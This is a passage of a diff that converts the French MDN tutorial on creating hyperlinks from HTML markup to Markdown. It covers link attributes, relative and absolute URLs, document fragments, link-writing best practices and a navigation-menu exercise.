vers laquelle vous voulez que le lien pointe. -<pre class="brush: html"><p>Je suis en train de créer un lien à -<a href="https://www.mozilla.org/fr/">la page d'accueil Mozilla</a>. -</p></pre> +```html +<p>Je suis en train de créer un lien à +<a href="https://www.mozilla.org/fr/">la page d'accueil Mozilla</a>. +</p> +``` -<p>qui donne le résultat suivant :</p> +qui donne le résultat suivant : -<p>Je suis en train de créer un lien à <a href="https://www.mozilla.org/fr/"> la page d'accueil de Mozilla</a>.</p> +Je suis en train de créer un lien à [la page d'accueil de Mozilla](https://www.mozilla.org/fr/). -<h3 id="Ajouter_des_informations_dassistance_avec_lattribut_title">Ajouter des informations d'assistance avec l'attribut title</h3> +### Ajouter des informations d'assistance avec l'attribut title -<p>L'autre attribut qu'il est possible d'ajouter à un lien est <code>title</code> ; il est destiné à contenir des informations utiles supplémentaires à propos du lien, comme le type d'informations contenes dans la page ou ce qu'il faut savoir. Par exemple :</p> +L'autre attribut qu'il est possible d'ajouter à un lien est `title` ; il est destiné à contenir des informations utiles supplémentaires à propos du lien, comme le type d'informations contenes dans la page ou ce qu'il faut savoir. Par exemple : -<pre class="brush: html"><p>Je suis en train de créer un lien à -<a href="https://www.mozilla.org/fr/" +```html +<p>Je suis en train de créer un lien à +<a href="https://www.mozilla.org/fr/" title="Le meilleur endroit pour trouver plus d'informations sur la - mission de Mozilla et la manière de contribuer">la page d'accueil Mozilla</a>. -</p></pre> + mission de Mozilla et la manière de contribuer">la page d'accueil Mozilla</a>. +</p> +``` -<p>Voici le résultat (le contenu de <code>title</code> apparaît dans une info-bulle quand le pointeur de souris passe sur le lien) :</p> +Voici le résultat (le contenu de `title` apparaît dans une info-bulle quand le pointeur de souris passe sur le lien) : -<p>Je suis en train de créer un lien vers <a href="https://www.mozilla.org/fr/" title="Le meilleur endroit pour trouver plus d'informations sur la mission de Mozilla et la manière de contribuer">la page d'accueil de Mozilla</a></p> +Je suis en train de créer un lien vers [la page d'accueil de Mozilla](https://www.mozilla.org/fr/ "Le meilleur endroit pour trouver plus d'informations sur la mission de Mozilla et la manière de contribuer") -<div class="note"> -<p><strong>Note :</strong> le <code>title</code> d'un lien n'est révélé que lors du survol de la souris, ce qui signifie que les personnes utilisant les commandes clavier pour naviguer dans les pages web auront des difficultés à accéder aux informations de <code>title</code>. Si une information de <code>title</code> est vraiment importante pour l'utilisation d'une page, alors vous devez la présenter de manière accessible à tout utilisateur, par exemple, en la mettant dans le texte normal.</p> -</div> +> **Note :** le `title` d'un lien n'est révélé que lors du survol de la souris, ce qui signifie que les personnes utilisant les commandes clavier pour naviguer dans les pages web auront des difficultés à accéder aux informations de `title`. Si une information de `title` est vraiment importante pour l'utilisation d'une page, alors vous devez la présenter de manière accessible à tout utilisateur, par exemple, en la mettant dans le texte normal. -<h3 id="Apprentissage_actif_création_de_votre_propre_exemple_de_lien">Apprentissage actif : création de votre propre exemple de lien</h3> +### Apprentissage actif : création de votre propre exemple de lien -<p>C'est l'heure de l'apprentissage actif : veuillez créer un document HTML avec un éditeur de code local (notre <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">fichier modèle index.html</a> fera parfaitement l'affaire).</p> +C'est l'heure de l'apprentissage actif : veuillez créer un document HTML avec un éditeur de code local (notre [fichier modèle index.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html) fera parfaitement l'affaire). -<ul> - <li>Dans le corps de l'HTML, essayez d'ajouter un ou plusieurs paragraphes ou d'autres types de contenu pour lesquels vous avez déjà des connaissances.</li> - <li>Changez certaines parties du contenu en liens.</li> - <li>Insérez les attributs <code>title</code>.</li> -</ul> +- Dans le corps de l'HTML, essayez d'ajouter un ou plusieurs paragraphes ou d'autres types de contenu pour lesquels vous avez déjà des connaissances. +- Changez certaines parties du contenu en liens. +- Insérez les attributs `title`. -<h3 id="Liens_de_niveau_bloc">Liens de niveau bloc</h3> +### Liens de niveau bloc -<p>Comme mentionné précédemment, vous pouvez transformer à peu près tout contenu en un lien, même des <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started#éléments_bloc_ou_en_ligne">éléments bloc </a>. Si vous avez une image que vous voulez transformer en lien, vous avez juste à mettre l'image entre les balises <code><a></a></code>.</p> +Comme mentionné précédemment, vous pouvez transformer à peu près tout contenu en un lien, même des [éléments bloc ](/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started#éléments_bloc_ou_en_ligne). Si vous avez une image que vous voulez transformer en lien, vous avez juste à mettre l'image entre les balises `<a></a>`. -<pre class="brush: html"><a href="https://www.mozilla.org/fr/"> - <img src="mozilla-image.png" alt="logo mozilla pointant sur la page d'accueil mozilla"> -</a></pre> +```html +<a href="https://www.mozilla.org/fr/"> + <img src="mozilla-image.png" alt="logo mozilla pointant sur la page d'accueil mozilla"> +</a> +``` -<div class="note"> -<p><strong>Note :</strong> Nous vous donnerons beaucoup plus de détails sur l'utilisation d'images sur le Web dans un futur article.</p> -</div> +> **Note :** Nous vous donnerons beaucoup plus de détails sur l'utilisation d'images sur le Web dans un futur article. -<h2 id="Une_brève_présentation_des_URL_et_des_chemins">Une brève présentation des URL et des chemins</h2> +## Une brève présentation des URL et des chemins -<p>Pour bien maîtriser les cibles des liens, vous avez besoin d'avoir compris ce que sont les URL et les chemins. Cette section vous donne les informations voulues pour y parvenir.</p> +Pour bien maîtriser les cibles des liens, vous avez besoin d'avoir compris ce que sont les URL et les chemins. Cette section vous donne les informations voulues pour y parvenir. -<p>Une URL, ou <strong>U</strong>niform <strong>R</strong>esource <strong>L</strong>ocator, est simplement une chaîne textuelle qui définit où se situe quelque chose sur le Web. Par exemple, la page d'accueil en anglais de Mozilla est située à l'adresse <code>https://www.mozilla.org/en-US/</code>.</p> +Une URL, ou **U**niform **R**esource **L**ocator, est simplement une chaîne textuelle qui définit où se situe quelque chose sur le Web. Par exemple, la page d'accueil en anglais de Mozilla est située à l'adresse `https://www.mozilla.org/en-US/`. -<p>Les URL utilisent des chemins pour trouver des fichiers. Les chemins indiquent où dans le système de fichiers, se trouve celui qui vous intéresse. Regardons un exemple simple de structure de répertoires (voir le dossier <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/creating-hyperlinks">creating-hyperlinks</a>).</p> +Les URL utilisent des chemins pour trouver des fichiers. Les chemins indiquent où dans le système de fichiers, se trouve celui qui vous intéresse. Regardons un exemple simple de structure de répertoires (voir le dossier [creating-hyperlinks](https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/creating-hyperlinks)). -<p><img alt="Une simple structure de répertoire. Le répertoire parent s'appelle creating-hyperlinks et contient deux fichiers appelés index.html et contacts.html, et deux répertoires appelés projects et pdfs, qui contiennent respectivement un fichier index.html et un fichier project-brief.pdf." src="dir-struct.png"></p> + -<p>La <strong>racine</strong> de cette structure de répertoires s'appelle <code>creating-hyperlinks</code>. Quand vous travaillez localement sur un site web, vous avez un dossier contenant l'intégralité du site. Dans la racine, nous avons un fichier <code>index.html</code> et un <code>contacts.html</code>. Sur un site réel, <code>index.html</code> serait notre page d'accueil ou portail (page web servant de point d'entrée à un site web ou à une section particulière d'un site web).</p> +La **racine** de cette structure de répertoires s'appelle `creating-hyperlinks`. Quand vous travaillez localement sur un site web, vous avez un dossier contenant l'intégralité du site. Dans la racine, nous avons un fichier `index.html` et un `contacts.html`. Sur un site réel, `index.html` serait notre page d'accueil ou portail (page web servant de point d'entrée à un site web ou à une section particulière d'un site web). -<p>Il y a aussi deux répertoires dans la racine — <code>pdfs</code> et <code>projects</code>. Chacun d'eux comporte un seul fichier — respectivement un PDF (<code>project-brief.pdf)</code> et un fichier <code>index.html</code>. Notez que vous pouvez heureusement avoir deux fichiers <code>index.html</code> dans un projet, pour autant qu'ils se trouvent dans deux emplacements différents dans le système de fichiers. De nombreux sites web le font. Le second <code>index.html</code> peut être le portail des informations relatives au projet.</p> +Il y a aussi deux répertoires dans la racine — `pdfs` et `projects`. Chacun d'eux comporte un seul fichier — respectivement un PDF (`project-brief.pdf)` et un fichier `index.html`. Notez que vous pouvez heureusement avoir deux fichiers `index.html` dans un projet, pour autant qu'ils se trouvent dans deux emplacements différents dans le système de fichiers. De nombreux sites web le font. Le second `index.html` peut être le portail des informations relatives au projet. -<ul> - <li> - <p><strong>Dans un même dossier </strong>: si vous voulez inclure un hyperlien dans <code>index.html</code> (celui de plus haut niveau) pointant vers <code>contacts.html</code>, il suffit d'indiquer uniquement le nom du fichier auquel vous voulez le lier, car il est dans le même répertoire que le fichier actuel. Ainsi, l'URL à utiliser est <code>contacts.html</code> :</p> +- **Dans un même dossier** : si vous voulez inclure un hyperlien dans `index.html` (celui de plus haut niveau) pointant vers `contacts.html`, il suffit d'indiquer uniquement le nom du fichier auquel vous voulez le lier, car il est dans le même répertoire que le fichier actuel. Ainsi, l'URL à utiliser est `contacts.html` : - <pre class="brush: html"><p>Voulez‑vous rencontrer un membre du personnel en particulier ? -Voyez comment faire sur notre page <a href="contacts.html">Contacts</a>.</p></pre> - </li> - <li> - <p><strong>Descendre dans les sous-répertoires </strong>: si vous désirez inclure un hyperlien dans <code>index.html</code> (<code>celui</code> de plus haut niveau) pointant vers <code>projects/index.html</code>, vous avez besoin de descendre dans le dossier<code>projects</code> avant d'indiquer le fichier auquel vous voulez vous lier. Cela se fait en indiquant le nom du dossier, suivi d'une barre oblique normale, puis le nom du fichier. Donc l'URL à utiliser sera <code>projects/index.html</code> :</p> + ```html + <p>Voulez‑vous rencontrer un membre du personnel en particulier ? + Voyez comment faire sur notre page <a href="contacts.html">Contacts</a>.</p> + ``` - <pre class="brush: html"><p>Visitez la <a href="projects/index.html">page d'accueil</a> de mon projet.</p></pre> - </li> - <li> - <p><strong>Monter dans les dossiers parents </strong>: si vous voulez inclure un hyperlien dans <code>projects/index.html</code> qui pointe vers <code>pdfs/projects-brief.pdf</code>, vous aurez besoin de monter dans le répertoire au niveau au‑dessus, puis de descendre dans le dossier <code>pdfs</code>. « Monter dans le répertoire au niveau au‑dessus » est indiqué avec deux points — <code>..</code> —, de sorte que l'URL à utiliser sera <code>../pdfs/project‑brief.pdf</code> :</p> +- **Descendre dans les sous-répertoires** : si vous désirez inclure un hyperlien dans `index.html` (`celui` de plus haut niveau) pointant vers `projects/index.html`, vous avez besoin de descendre dans le dossier`projects` avant d'indiquer le fichier auquel vous voulez vous lier. Cela se fait en indiquant le nom du dossier, suivi d'une barre oblique normale, puis le nom du fichier. Donc l'URL à utiliser sera `projects/index.html` : - <pre class="brush: html"><p>Voici un lien vers mon <a href="../pdfs/project-brief.pdf">sommaire de projet</a>.</p></pre> - </li> -</ul> + ```html + <p>Visitez la <a href="projects/index.html">page d'accueil</a> de mon projet.</p> + ``` -<div class="note"> -<p><strong>Note :</strong> Vous pouvez combiner plusieurs instances de ces fonctionnalités dans des URL complexes si nécessaire, par ex. <code>../../../complexe/path/to/my/file.html</code>.</p> -</div> +- **Monter dans les dossiers parents** : si vous voulez inclure un hyperlien dans `projects/index.html` qui pointe vers `pdfs/projects-brief.pdf`, vous aurez besoin de monter dans le répertoire au niveau au‑dessus, puis de descendre dans le dossier `pdfs`. « Monter dans le répertoire au niveau au‑dessus » est indiqué avec deux points — `..` —, de sorte que l'URL à utiliser sera `../pdfs/project‑brief.pdf` : -<h3 id="Fragments_de_documents">Fragments de documents</h3> + ```html + <p>Voici un lien vers mon <a href="../pdfs/project-brief.pdf">sommaire de projet</a>.</p> + ``` -<p>Il est possible de faire un lien vers une partie donnée d'un document HTML (désignée du terme <strong>fragment de document</strong>), plutôt que juste le haut du document. Pour ce faire, vous devrez d'abord assigner un attribut {{htmlattrxref("id")}} à l'élément sur lequel vous voulez pointer. Il est généralement logique d'établir un lien vers une rubrique précise, ainsi cela ressemble à quelque chose comme :</p> +> **Note :** Vous pouvez combiner plusieurs instances de ces fonctionnalités dans des URL complexes si nécessaire, par ex. `../../../complexe/path/to/my/file.html`. -<pre class="brush: html"><h2 id="Adresse_mailing">Adresse de mailing</h2></pre> +### Fragments de documents -<p>Puis, pour faire un lien vers cet <code>id</code> précisément, il convient de l'indiquer à la fin de l'URL, précédé d'un croisillon (#) :</p> +Il est possible de faire un lien vers une partie donnée d'un document HTML (désignée du terme **fragment de document**), plutôt que juste le haut du document. Pour ce faire, vous devrez d'abord assigner un attribut {{htmlattrxref("id")}} à l'élément sur lequel vous voulez pointer. Il est généralement logique d'établir un lien vers une rubrique précise, ainsi cela ressemble à quelque chose comme : -<pre class="brush: html"><p>Vous voulez nous écrire une lettre ? Utilisez notre <a href="contacts.html#Adresse_mailing">adresse de contact</a>.</p></pre> +```html +<h2 id="Adresse_mailing">Adresse de mailing</h2> +``` -<p>Vous pouvez même utiliser une référence au fragment de document seul pour faire un lien vers <em>une autre partie du même document</em> :</p> +Puis, pour faire un lien vers cet `id` précisément, il convient de l'indiquer à la fin de l'URL, précédé d'un croisillon (#) : -<pre class="brush: html"><p>Vous trouverez n l'<a href="#Adresse_mailing">adresse de mailing</a> de notre société au bas de cette page.</p></pre> +```html +<p>Vous voulez nous écrire une lettre ? Utilisez notre <a href="contacts.html#Adresse_mailing">adresse de contact</a>.</p> +``` -<h3 id="URL_absolue_vs._URL_relative">URL absolue vs. URL relative</h3> +Vous pouvez même utiliser une référence au fragment de document seul pour faire un lien vers _une autre partie du même document_ : -<p>Deux termes que vous rencontrerez sur le Web sont <strong>URL absolue</strong> et <strong>URL relative</strong> :</p> +```html +<p>Vous trouverez n l'<a href="#Adresse_mailing">adresse de mailing</a> de notre société au bas de cette page.</p> +``` -<p><strong>URL absolue </strong>: pointe sur un emplacement défini de manière absolue sur le web, y compris en précisant le {{glossary("protocol","protocole")}} et le {{glossary("domain name","nom de domaine")}}. Ainsi par exemple, si une page <code>index.html</code> est téléversée dans le dossier nommé <code>projects</code> à la racine du serveur web, et que le domaine du site est <code>http://www.example.com</code>, la page sera accessible à l'adresse <code>http://www.example.com/projects/index.html</code> (ou même seulement <code>http://www.example.com/projects/</code>, du fait que la plupart des serveurs web cherchent pour le chargement une page d'accueil comme <code>index.htm</code>, si ce n'est pas précisé dans l'URL).</p> +### URL absolue vs. URL relative -<p>Une URL absolue pointera toujours vers le même emplacement, quel que soit l'endroit où elle est utilisée.</p> +Deux termes que vous rencontrerez sur le Web sont **URL absolue** et **URL relative** : -<p><strong>URL</strong> <strong>relative :</strong> pointe vers un emplacement qui est <em>relatif</em> au fichier à partir duquel vous établissez le lien, tout comme ce que nous avons vu précédemment. Donc, si nous voulons créer un lien depuis notre fichier d'exemple en <code>http://www.example.com/projects/index.html</code> vers un fichier PDF dans le même dossier, l'URL sera seulement le nom du fichier — càd., <code>project-brief.pdf</code> — pas besoin d'information supplémentaire. Si le PDF est disponible dans un sous-dossier de <code>projects</code> appelé <code>pdfs</code>, le lien relatif serait <code>pdfs/project-brief.pdf</code> (l'URL absolue équivalente serait <code>http://www.example.com/projects/pdfs/project-brief.pdf</code>.)</p> +**URL absolue** : pointe sur un emplacement défini de manière absolue sur le web, y compris en précisant le {{glossary("protocol","protocole")}} et le {{glossary("domain name","nom de domaine")}}. Ainsi par exemple, si une page `index.html` est téléversée dans le dossier nommé `projects` à la racine du serveur web, et que le domaine du site est `http://www.example.com`, la page sera accessible à l'adresse `http://www.example.com/projects/index.html` (ou même seulement `http://www.example.com/projects/`, du fait que la plupart des serveurs web cherchent pour le chargement une page d'accueil comme `index.htm`, si ce n'est pas précisé dans l'URL). -<p>Une URL relative pointera vers des emplacements différents en fonction de l'endroit où se situe le fichier qui est utilisé ; par exemple, si nous déplacions notre <code>index.html</code> du dossier <code>projects</code> vers la racine du site web (au niveau le plus élevé, dans aucun dossier), le lien de l'URL relative <code>pdfs/project-brief.pdf</code> qui s'y trouve pointerait alors vers un fichier situé en <code>http://www.example.com/pdfs/project-brief.pdf</code>, et non vers un fichier situé en <code>http://www.example.com/projects/pdfs/project-brief.pdf</code>.</p> +Une URL absolue pointera toujours vers le même emplacement, quel que soit l'endroit où elle est utilisée. -<p>Bien sûr, l'emplacement du fichier <code>project-brief.pdf</code> et du dossier <code>pdfs</code> ne changera pas subitement du fait que vous avez déplacé le fichier <code>index.html</code> : cela aura pour effet que votre lien pointera vers un mauvais emplacement, de sorte que cela ne fonctionnera pas si on clique dessus. Vous devez être prudent !</p> +**URL** **relative :** pointe vers un emplacement qui est _relatif_ au fichier à partir duquel vous établissez le lien, tout comme ce que nous avons vu précédemment. Donc, si nous voulons créer un lien depuis notre fichier d'exemple en `http://www.example.com/projects/index.html` vers un fichier PDF dans le même dossier, l'URL sera seulement le nom du fichier — càd., `project-brief.pdf` — pas besoin d'information supplémentaire. Si le PDF est disponible dans un sous-dossier de `projects` appelé `pdfs`, le lien relatif serait `pdfs/project-brief.pdf` (l'URL absolue équivalente serait `http://www.example.com/projects/pdfs/project-brief.pdf`.) -<h2 id="Meilleures_pratiques_de_liens">Meilleures pratiques de liens</h2> +Une URL relative pointera vers des emplacements différents en fonction de l'endroit où se situe le fichier qui est utilisé ; par exemple, si nous déplacions notre `index.html` du dossier `projects` vers la racine du site web (au niveau le plus élevé, dans aucun dossier), le lien de l'URL relative `pdfs/project-brief.pdf` qui s'y trouve pointerait alors vers un fichier situé en `http://www.example.com/pdfs/project-brief.pdf`, et non vers un fichier situé en `http://www.example.com/projects/pdfs/project-brief.pdf`. -<p>Il y a quelques bonnes pratiques à suivre pour l'écriture de liens. Jetons-y un coup d'œil.</p> +Bien sûr, l'emplacement du fichier `project-brief.pdf` et du dossier `pdfs` ne changera pas subitement du fait que vous avez déplacé le fichier `index.html` : cela aura pour effet que votre lien pointera vers un mauvais emplacement, de sorte que cela ne fonctionnera pas si on clique dessus. Vous devez être prudent ! -<ul> -</ul> +## Meilleures pratiques de liens -<h3 id="Utilisez_une_formulation_claire_des_liens">Utilisez une formulation claire des liens</h3> +Il y a quelques bonnes pratiques à suivre pour l'écriture de liens. Jetons-y un coup d'œil. -<p>Il est facile de mettre des liens sur une page. Mais ce n'est pas suffisant. Nous devons rendre nos liens <em>accessibles</em> à tous les lecteurs, indépendamment de leur contexte d'installation et des outils qu'ils préfèrent. Par exemple :</p> +### Utilisez une formulation claire des liens -<ul> - <li>les utilisateurs de lecteurs d'écran aiment à sauter de lien en lien sur la page, et à les lire hors contexte.</li> - <li>les moteurs de recherche utilisent le texte des liens pour indexer les fichiers cibles, c'est donc une bonne idée que d'inclure des mots-clés dans le texte du lien pour décrire effectivement à quoi il est lié.</li> - <li>les utilisateurs visuels survolent la page plutôt que d'en lire chaque mot, et leurs yeux seront forcément attirés par les particularités qui se détachent de la page, comme les liens. Ils trouveront utile le texte descriptif du lien.</li> -</ul> +Il est facile de mettre des liens sur une page. Mais ce n'est pas suffisant. Nous devons rendre nos liens _accessibles_ à tous les lecteurs, indépendamment de leur contexte d'installation et des outils qu'ils préfèrent. Par exemple : -<p>Regardons un exemple particulier :</p> +- les utilisateurs de lecteurs d'écran aiment à sauter de lien en lien sur la page, et à les lire hors contexte. +- les moteurs de recherche utilisent le texte des liens pour indexer les fichiers cibles, c'est donc une bonne idée que d'inclure des mots-clés dans le texte du lien pour décrire effectivement à quoi il est lié. +- les utilisateurs visuels survolent la page plutôt que d'en lire chaque mot, et leurs yeux seront forcément attirés par les particularités qui se détachent de la page, comme les liens. Ils trouveront utile le texte descriptif du lien. -<p><em><strong>Bon</strong> texte de lien:</em> <a href="https://firefox.com">Télécharger Firefox</a></p> +Regardons un exemple particulier : -<pre class="brush: html"><p><a href="https://firefox.com/"> +**\*Bon** texte de lien:\* [Télécharger Firefox](https://firefox.com) + +```html +<p><a href="https://firefox.com/"> Télécharger Firefox -</a></p></pre> +</a></p> +``` -<p><em><strong>Mauvais</strong> texte de lien :</em> <a href="https://firefox.com/">Cliquer ici </a>pour télécharger Firefox</p> +**\*Mauvais** texte de lien :\* [Cliquer ici ](https://firefox.com/)pour télécharger Firefox -<pre class="brush: html"><p><a href="https://firefox.com/"> +```html +<p><a href="https://firefox.com/"> Cliquer ici -</a> -pour télécharger Firefox</p> -</pre> +</a> +pour télécharger Firefox</p> +``` -<p>Autres conseils :</p> +Autres conseils : -<ul> - <li>Ne répétez pas l'URL dans le texte du lien — les URL sont moches, et elles le sont encore plus à entendre quand un lecteur d'écran les épèle.</li> - <li>Ne dites pas « lien » ou « liens vers... » dans le texte du lien, ce n'est que du rabâchage. Les lecteurs d'écran indiquent aux gens qu'il y a un lien. Les utilisateurs visuels verront aussi qu'il y a un lien, du fait que les liens sont généralement de couleur différente et soulignés (de façon générale, cette convention tacite ne devrait pas être trahie, car les utilisateurs y sont très habitués).</li> - <li>Faites que vos étiquettes de lien soient aussi courtes que possible : les liens longs agacent particulièrement les utilisateurs de lecteurs d'écran, qui doivent en écouter la lecture entière.</li> - <li>Minimiser les cas où plusieurs copies d'un même texte pointent vers des emplacements différents. Afficher une liste de liens hors contexte peut poser problème aux utilisateurs de lecteurs d'écran : ainsi plusieurs liens tous étiquetés « cliquez ici », « cliquez ici », « cliquez ici » seront source de confusion.</li> -</ul> +- Ne répétez pas l'URL dans le texte du lien — les URL sont moches, et elles le sont encore plus à entendre quand un lecteur d'écran les épèle. +- Ne dites pas « lien » ou « liens vers... » dans le texte du lien, ce n'est que du rabâchage. Les lecteurs d'écran indiquent aux gens qu'il y a un lien. Les utilisateurs visuels verront aussi qu'il y a un lien, du fait que les liens sont généralement de couleur différente et soulignés (de façon générale, cette convention tacite ne devrait pas être trahie, car les utilisateurs y sont très habitués). +- Faites que vos étiquettes de lien soient aussi courtes que possible : les liens longs agacent particulièrement les utilisateurs de lecteurs d'écran, qui doivent en écouter la lecture entière. +- Minimiser les cas où plusieurs copies d'un même texte pointent vers des emplacements différents. Afficher une liste de liens hors contexte peut poser problème aux utilisateurs de lecteurs d'écran : ainsi plusieurs liens tous étiquetés « cliquez ici », « cliquez ici », « cliquez ici » seront source de confusion. -<h3 id="Utilisez_des_liens_relatifs_partout_où_cest_possible">Utilisez des liens relatifs partout où c'est possible</h3> +### Utilisez des liens relatifs partout où c'est possible -<p>Compte tenu de la description ci-dessus, vous pourriez penser qu'utliser des liens absolus tout le temps est une bonne idée ; après tout, ils ne sont pas brisés si une page est déplacée, comme c'est le cas avec les liens relatifs. Mais, vous devez utiliser des liens relatifs partout où c'est possible pour pointer vers d'autres emplacements à l'intérieur d'un <em>même site web</em>. (pour les liens vers un <em>autre site web</em>, vous aurez besoin d'utiliser un lien absolu) :</p> +Compte tenu de la description ci-dessus, vous pourriez penser qu'utliser des liens absolus tout le temps est une bonne idée ; après tout, ils ne sont pas brisés si une page est déplacée, comme c'est le cas avec les liens relatifs. Mais, vous devez utiliser des liens relatifs partout où c'est possible pour pointer vers d'autres emplacements à l'intérieur d'un _même site web_. (pour les liens vers un _autre site web_, vous aurez besoin d'utiliser un lien absolu) : -<ul> - <li>Pour commencer, il sera plus facile de parcourir votre code — les URL relatives sont généralement nettement plus courtes que les URL absolues, ce qui rend la lecture de votre code beaucoup plus facile.</li> - <li>Ensuite, il est plus efficace d'utiliser des URL relatives partout où c'est possible. Quand vous utilisez une URL absolue, votre navigateur commence par rechercher l'emplacement réel du serveur dans le « Domain Name System » ({{glossary("DNS")}} ; voir <a href="/fr/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Fonctionnement du web</a> pour plus d'informations), puis il se rend sur ce serveur et trouve le fichier demandé. Avec une URL relative par contre, le navigateur recherche le fichier demandé uniquement sur le même serveur. Donc, si vous utilisez des URL absolues là où des URL relatives auraient été suffisantes, vous obligez constamment le navigateur à faire du travail supplémentaire, ce qui signifie qu'il fonctionnera moins efficacement.</li> -</ul> +- Pour commencer, il sera plus facile de parcourir votre code — les URL relatives sont généralement nettement plus courtes que les URL absolues, ce qui rend la lecture de votre code beaucoup plus facile. +- Ensuite, il est plus efficace d'utiliser des URL relatives partout où c'est possible. Quand vous utilisez une URL absolue, votre navigateur commence par rechercher l'emplacement réel du serveur dans le « Domain Name System » ({{glossary("DNS")}} ; voir [Fonctionnement du web](/fr/docs/Learn/Getting_started_with_the_web/How_the_Web_works) pour plus d'informations), puis il se rend sur ce serveur et trouve le fichier demandé. Avec une URL relative par contre, le navigateur recherche le fichier demandé uniquement sur le même serveur. Donc, si vous utilisez des URL absolues là où des URL relatives auraient été suffisantes, vous obligez constamment le navigateur à faire du travail supplémentaire, ce qui signifie qu'il fonctionnera moins efficacement. -<h3 id="Liaison_vers_des_ressources_non-HTML_signalez‑les_clairement">Liaison vers des ressources non-HTML : signalez‑les clairement</h3> +### Liaison vers des ressources non-HTML : signalez‑les clairement -<p>Quand faites un lien vers une ressource à télécharger (comme un PDF ou un document Word ) ou lue en flux (comme une video ou de l'audio) ou qui a un autre effet potentiellement inattendu (qui ouvre d'une fenêtre pop-up ou qui charge une vidéo Flash), vous devez le signaler clairement pour réduire toute confusion. Cela peut être parfaitement ennuyeux, par exemple :</p> +Quand faites un lien vers une ressource à télécharger (comme un PDF ou un document Word ) ou lue en flux (comme une video ou de l'audio) ou qui a un autre effet potentiellement inattendu (qui ouvre d'une fenêtre pop-up ou qui charge une vidéo Flash), vous devez le signaler clairement pour réduire toute confusion. Cela peut être parfaitement ennuyeux, par exemple : -<ul> - <li>si vous êtes sur une connexion à faible bande passante, cliquer sur un lien et initier un téléchargement de plusieurs mégaoctets de façon inattendue.</li> - <li>si vous n'avez pas Flash player installé, cliquer sur un lien et être soudain redirigé vers une page qui nécessite Flash.</li> -</ul> +- si vous êtes sur une connexion à faible bande passante, cliquer sur un lien et initier un téléchargement de plusieurs mégaoctets de façon inattendue. +- si vous n'avez pas Flash player installé, cliquer sur un lien et être soudain redirigé vers une page qui nécessite Flash. -<p>Voici quelques exemples suggérant les genres de texte pouvant être employé :</p> +Voici quelques exemples suggérant les genres de texte pouvant être employé : -<pre class="brush: html"><p><a href="http://www.exemple.com/rapport-volumineux.pdf"> +```html +<p><a href="http://www.exemple.com/rapport-volumineux.pdf"> Télécharger le rapport des ventes (PDF, 10Mo) -</a></p> +</a></p> -<p><a href="http://www.exemple.com/flux-video/" target="_blank"> +<p><a href="http://www.exemple.com/flux-video/" target="_blank"> Regarder la vidéo (le flux s'ouvre dans un nouvel onglet, qualité HD) -</a></p> +</a></p> -<p><a href="http://www.exemple.com/jeu-de-voiture"> +<p><a href="http://www.exemple.com/jeu-de-voiture"> Jouer au jeu de voiture (nécessite Flash) -</a></p></pre> +</a></p> +``` -<h3 id="Utilisez_lattribut_download_pour_faire_un_lien_vers_un_téléchargement">Utilisez l'attribut <code>download</code> pour faire un lien vers un téléchargement</h3> +### Utilisez l'attribut `download` pour faire un lien vers un téléchargement -<p>Quand vous faites un lien avec une ressource qui doit être téléchargée plutôt qu'ouverte dans le navigateur, vous pouvez utiliser l'attribut <code>download</code> pour fournir un nom d'enregistrement par défaut. Voici un exemple avec un lien de téléchargement vers la version Windows la plus récente de Firefox :</p> +Quand vous faites un lien avec une ressource qui doit être téléchargée plutôt qu'ouverte dans le navigateur, vous pouvez utiliser l'attribut `download` pour fournir un nom d'enregistrement par défaut. Voici un exemple avec un lien de téléchargement vers la version Windows la plus récente de Firefox : -<pre class="brush: html"><a href="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=fr-FR" - download="firefox-latest-64bit-installer.exe"> +```html +<a href="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=fr-FR" + download="firefox-latest-64bit-installer.exe"> Télécharger la version de Firefox pour Windows la plus récente (64-bit)(français, France) -</a></pre> +</a> +``` -<h2 id="Apprentissage_actif_création_dun_menu_de_navigation">Apprentissage actif : création d'un menu de navigation</h2> +## Apprentissage actif : création d'un menu de navigation -<p>Pour cet exercice, nous aimerions que vous reliiez ensemble quelques pages par un menu de navigation pour créer un web site multi-page. C'est une manière courante de créer un site web, la même structure de page est utilisée sur chaque page, y compris le même menu de navigation, de sorte que quand les liens sont cliqués, cela vous donne l'impression de rester au même endroit, tandis qu'un contenu différent est présenté.</p> +Pour cet exercice, nous aimerions que vous reliiez ensemble quelques pages par un menu de navigation pour créer un web site multi-page. C'est une manière courante de créer un site web, la même structure de page est utilisée sur chaque page, y compris le même menu de navigation, de sorte que quand les liens sont cliqués, cela vous donne l'impression de rester au même endroit, tandis qu'un contenu différent est présenté. -<p>Vous aurez besoin de faire des copies locales des quatre pages suivantes, toutes dans le même dossier (voyez aussi le dossier <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-start">navigation-menu-start</a> pour une liste complète des fichiers).</p> +Vous aurez besoin de faire des copies locales des quatre pages suivantes, toutes dans le même dossier (voyez aussi le dossier [navigation-menu-start](https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-start) pour une liste complète des fichiers). -<ul> - <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/index.html">index.html</a></li> - <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/projects.html">projects.html</a></li> - <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/pictures.html">pictures.html</a></li> - <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/social.html">social.html</a></li> -</ul> +- [index.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/index.html) +- [projects.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/projects.html) +- [pictures.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/pictures.html) +- [social.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/social.html) -<p>Vous devez :</p> +Vous devez : -<ol> - <li>Ajouter une liste non-ordonnée à l'endroit indiqué sur une page, qui contiendra les noms 